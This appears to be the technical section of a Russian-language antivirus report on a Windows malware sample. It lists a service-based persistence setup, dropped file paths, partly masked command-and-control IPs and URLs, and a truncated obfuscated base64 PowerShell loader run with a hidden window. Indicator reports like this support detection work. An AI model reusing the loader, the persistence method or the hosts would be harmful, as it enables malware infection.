Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\iasrad] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\iasrad] 'ImagePath' = '"%WINDIR%\SysWOW64\KBDBHC\iasrad.exe"'
- 'iasrad' "%WINDIR%\SysWOW64\KBDBHC\iasrad.exe"
- 'iasrad' %WINDIR%\SysWOW64\KBDBHC\iasrad.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABMADIAegAwAHQAMgB4AD0AWwBjAGgAYQByAF0ANAAyADsAJABZAHkAZwB5AHMANgA1AD0AKAAoACcATAAnACsAJwA3ADAAbwAnACkAKwAoACcAbgAnACsAJwAwAHcAJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAJw...
- %HOMEPATH%\m675gop\pf0ifeb\kxuut8i4.exe
- %WINDIR%\syswow64\kbdbhc\iasrad.exe
- %HOMEPATH%\m675gop\pf0ifeb\kxuut8i4.exe в %WINDIR%\syswow64\kbdbhc\iasrad.exe
- '12#.#00.20.233':80
- '93.##6.197.189':7080
- '18#.#66.220.180':7080
- http://av####ipisos.com.br/catalogo-virtual/asQ3/
- http://18#.###.220.180:7080/JENv/WrCK4QC/eUjg/ via 18#.#66.220.180
- DNS ASK av####ipisos.com.br
- '%HOMEPATH%\m675gop\pf0ifeb\kxuut8i4.exe'
- '%WINDIR%\syswow64\kbdbhc\iasrad.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABMADIAegAwAHQAMgB4AD0AWwBjAGgAYQByAF0ANAAyADsAJABZAHkAZwB5AHMANgA1AD0AKAAoACcATAAnACsAJwA3ADAAbwAnACkAKwAoACcAbgAnACsAJwAwAHcAJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAJw...' (со скрытым окном)